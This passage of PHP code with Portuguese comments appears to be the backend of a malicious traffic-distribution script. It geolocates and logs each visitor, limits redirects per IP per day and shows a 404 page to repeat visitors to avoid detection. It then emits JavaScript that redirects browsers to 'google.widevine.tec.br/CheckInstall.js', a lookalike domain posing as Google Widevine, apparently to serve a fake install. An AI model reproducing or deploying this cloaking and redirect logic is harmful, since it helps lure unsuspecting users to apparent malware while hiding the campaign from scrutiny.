403"); exit('Acesso não autorizado - 403'); } } else { debugLog("filtro_ip.txt nao encontrado em $arquivoFiltro"); } $logDir = __DIR__ . '/syslogz'; if (!file_exists($logDir)) { if (!@mkdir($logDir, 0777, true)) { debugLog("Falha criar syslogz dir em $logDir"); } else { @chmod($logDir, 0777); } } // ---------------- geolocation (usa ipbase + cache) ---------------- function getIpDetails($ip) { global $IPBASE_API_KEY, $GEO_CACHE_TTL; if ($ip === '0.0.0.0' || $ip === '127.0.0.1' || !$ip) return null; $cacheDir = __DIR__ . '/syslogz/geocache'; if (!is_dir($cacheDir)) @mkdir($cacheDir, 0777, true); // nome de arquivo seguro $safeIp = str_replace([':', '/', '\\'], ['_','_','_'], $ip); $cacheFile = $cacheDir . '/' . $safeIp . '.json'; // CACHE if (file_exists($cacheFile) && (time() - filemtime($cacheFile) < $GEO_CACHE_TTL)) { $txt = @file_get_contents($cacheFile); if ($txt !== false && trim($txt) !== '') { $cached = json_decode($txt, true); if (is_array($cached)) { debugLog("Geo cache HIT para $ip"); return $cached; } } } /* ========================================================== 1) HOST PRINCIPAL — ipinfo.io ========================================================== */ $url = "https://ipinfo.io/{$ip}/json"; $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 6, CURLOPT_CONNECTTIMEOUT => 4, CURLOPT_FOLLOWLOCATION => true, CURLOPT_USERAGENT => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36' ]); $resp = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); $curlErr = curl_error($ch); curl_close($ch); debugLog("ipinfo request for $ip -> httpCode: $httpCode, err: $curlErr"); if ($resp !== false && $httpCode === 200) { $data = json_decode($resp, true); if (is_array($data)) { $lat = $lon = null; if (!empty($data['loc'])) { $p = explode(',', $data['loc']); if (count($p) === 2) { $lat = (float)$p[0]; $lon = (float)$p[1]; } } $mapped = [ 'ip' => $data['ip'] ?? $ip, 'country' => $data['country'] ?? null, // BR 'country_code' => $data['country'] ?? null, 'regionName' => $data['region'] ?? null, 'region_code' => null, 'city' => $data['city'] ?? null, 'zip' => $data['postal'] ?? null, 'time_zone' => $data['timezone'] ?? null, 'latitude' => $lat, 'longitude' => $lon, 'isp' => $data['org'] ?? null, 'provider' => 'ipinfo', 'raw' => $data ]; @file_put_contents($cacheFile, json_encode($mapped, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE)); debugLog("ipinfo OK for $ip (cache salvo)"); return $mapped; } } /* ========================================================== 2) FALLBACK — api.ipbase.com ========================================================== */ if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)) { $url2 = "https://api.ipbase.com/v1/json/?ip=" . urlencode($ip); } else { $url2 = "https://api.ipbase.com/v1/json/" . $ip; } if (!empty($IPBASE_API_KEY)) { $url2 .= (strpos($url2, '?') === false ? '?' : '&') . 'apikey=' . urlencode($IPBASE_API_KEY); } $ch2 = curl_init($url2); curl_setopt_array($ch2, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 6, CURLOPT_CONNECTTIMEOUT => 4, CURLOPT_FOLLOWLOCATION => true, CURLOPT_USERAGENT => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36' ]); $resp2 = curl_exec($ch2); $httpCode2 = curl_getinfo($ch2, CURLINFO_HTTP_CODE); $curlErr2 = curl_error($ch2); curl_close($ch2); debugLog("ipbase request for $ip -> httpCode: $httpCode2, err: $curlErr2"); if ($resp2 !== false && $httpCode2 === 200) { $data2 = json_decode($resp2, true); if (is_array($data2)) { $mapped2 = [ 'ip' => $data2['ip'] ?? $ip, 'country' => $data2['country_name'] ?? null, 'country_code' => $data2['country_code'] ?? null, 'regionName' => $data2['region_name'] ?? null, 'region_code' => $data2['region_code'] ?? null, 'city' => $data2['city'] ?? null, 'zip' => $data2['zip_code'] ?? null, 'time_zone' => $data2['time_zone'] ?? null, 'latitude' => isset($data2['latitude']) ? (float)$data2['latitude'] : null, 'longitude' => isset($data2['longitude']) ? (float)$data2['longitude'] : null, 'isp' => $data2['isp'] ?? $data2['org'] ?? null, 'provider' => 'ipbase', 'raw' => $data2 ]; @file_put_contents($cacheFile, json_encode($mapped2, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE)); debugLog("ipbase OK for $ip (fallback usado)"); return $mapped2; } } return null; } // ---------------------- log data ---------------------- $logData = [ 'timestamp' => time(), 'ip' => $ipCliente, 'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown', 'referer' => $_SERVER['HTTP_REFERER'] ?? 'direct', 'original_host' => $_SERVER['HTTP_HOST'] ?? 'none', 'request_uri' => $_SERVER['REQUEST_URI'] ?? '/', 'site' => getRealSite() ]; $ipDetails = getIpDetails($logData['ip']); if ($ipDetails && (!empty($ipDetails['country']) || !empty($ipDetails['city']))) { $logData['geolocation'] = [ 'country' => $ipDetails['country'], 'region' => $ipDetails['regionName'], 'city' => $ipDetails['city'], 'isp' => $ipDetails['isp'], 'latitude' => $ipDetails['latitude'], 'longitude' => $ipDetails['longitude'] ]; $location = formatLocationFilename($logData['geolocation']['city'], $logData['geolocation']['region']); } else { $location = 'unknown'; } $browser = detectBrowser($logData['user_agent']); $origem = $logData['original_host']; $location = isset($logData['geolocation']) ? formatLocationFilename($logData['geolocation']['city'], $logData['geolocation']['region']) : 'unknown'; // ---------------------- evita múltiplos logs ---------------------- $cacheDir = $logDir . '/cache'; if (!is_dir($cacheDir)) @mkdir($cacheDir, 0777, true); // hash único por visitante + parceiro + navegador $visitorKey = md5($ipCliente . '|' . $logData['site'] . '|' . $browser); $cacheFile = $cacheDir . '/' . $visitorKey . '.tmp'; // tempo em segundos para considerar "única visita" $cacheTTL = 120; // 120 segundos, ajuste se quiser maior // ---------- FLAG FILE (agora armazena JSON com contador diário) ---------- $flagFile = $logDir . '/redirected_ips.json'; // agora dentro de syslogz // Função auxiliar para carregar o JSON seguro function loadRedirectFlags($path) { if (!file_exists($path)) return []; $txt = @file_get_contents($path); if ($txt === false || trim($txt) === '') return []; $arr = json_decode($txt, true); return is_array($arr) ? $arr : []; } // Função auxiliar para salvar JSON (usada se quiser salvar fora do lock) function saveRedirectFlagsAtomic($path, $data) { $tmp = $path . '.tmp'; @file_put_contents($tmp, json_encode($data, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE)); @rename($tmp, $path); } // data atual em Y-m-d $hoje = date('Y-m-d'); // LOCKED read-modify-write para evitar race condition $fp = @fopen($flagFile, 'c+'); if (!$fp) { error_log("[redirect] falha ao abrir $flagFile para IP $ipCliente"); include("404.html"); exit; } if (!flock($fp, LOCK_EX)) { fclose($fp); error_log("[redirect] não conseguiu flock LOCK_EX em $flagFile"); include("404.html"); exit; } // ler conteúdo inteiro rewind($fp); $contents = stream_get_contents($fp); $flags = []; if ($contents !== false && trim($contents) !== '') { $flags = json_decode($contents, true); if (!is_array($flags)) $flags = []; } // obter registro do ip $record = isset($flags[$ipCliente]) && is_array($flags[$ipCliente]) ? $flags[$ipCliente] : null; $redirectCountToday = 0; if ($record && isset($record['date']) && $record['date'] === $hoje) { $redirectCountToday = isset($record['count']) ? (int)$record['count'] : 0; } // Se o usuário já teve 3 ou mais redirects hoje -> não permita novo redirect. // Porém a lógica de "evita múltiplos logs" (pular gravação por cacheTTL) só deve aplicar // quando o usuário já tiver sido redirecionado 3x (conforme teu pedido). if ($redirectCountToday >= 2) { // Se o cache existir e estiver dentro do TTL, pulamos gravação e retornamos 404. if (file_exists($cacheFile)) { $lastTime = (int)@file_get_contents($cacheFile); if (time() - $lastTime < $cacheTTL) { debugLog("Visit already logged recently (user reached 3 redirects) — IP: $ipCliente, Site: {$logData['site']}"); flock($fp, LOCK_UN); fclose($fp); include("404.html"); exit; } } // Se o cache não existe ou expirou, ainda assim NÃO redirecionamos, // mas podemos gravar um log de visita (uma última linha) se quiser. $shouldLogVisit = true; if ($shouldLogVisit) { $logFile = $logDir . '/' . date('Y_m_d_Hi') . '__url__' . sanitizeFilename($logData['site']) . '__' . $location . '_' . $browser . '_' . $origem . '.json'; @file_put_contents($logFile, json_encode($logData, JSON_UNESCAPED_UNICODE)."\n", FILE_APPEND | LOCK_EX); debugLog("Wrote visit log (after 3+ redirects): $logFile"); } @file_put_contents($cacheFile, time()); flock($fp, LOCK_UN); fclose($fp); include("404.html"); exit; } // Se chegou aqui, o usuário ainda tem menos de 3 redirects hoje. // Vamos incrementar o contador e permitir o redirect. // incrementa contador para hoje if (!$record || !isset($record['date']) || $record['date'] !== $hoje) { // novo dia ou IP novo $flags[$ipCliente] = ['date' => $hoje, 'count' => 1]; $redirectCountToday = 1; } else { // mesmo dia: incrementa $flags[$ipCliente]['count'] = $redirectCountToday + 1; $redirectCountToday = $flags[$ipCliente]['count']; } // grava de volta (regrava todo JSON no arquivo - com lock) rewind($fp); ftruncate($fp, 0); fwrite($fp, json_encode($flags, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE)); fflush($fp); flock($fp, LOCK_UN); fclose($fp); // Agora decidimos se gravamos o log da visita (evita múltiplos logs aplica-se somente aos que // já tinham >=3 redirects, logo aqui podemos sempre gravar o log normalmente). $logFile = $logDir . '/' . date('Y_m_d_Hi') . '__url__' . sanitizeFilename($logData['site']) . '__' . $location . '_' . $browser . '_' . $origem . '.json'; @file_put_contents($logFile, json_encode($logData, JSON_UNESCAPED_UNICODE)."\n", FILE_APPEND | LOCK_EX); debugLog("Wrote visit log: $logFile"); // atualiza cache file para evitar múltiplos logs em curtíssimo espaço de tempo @file_put_contents($cacheFile, time()); // Caso tenha incrementado e ficou com count > 3 por alguma razão, negamos redirect por segurança if ($redirectCountToday > 2) { debugLog("IP $ipCliente já excedeu 3 redirects (count=$redirectCountToday) — negando redirect"); include("404.html"); exit; } // Se count <= 3: permitimos o redirect $redirectUrl = 'https://google.widevine.tec.br/CheckInstall.js/index.php?refid=' . ($_SERVER['HTTP_REFERER'] ?? ''); echo "window.location.href = '" . addslashes($redirectUrl) . "';"; exit; ?>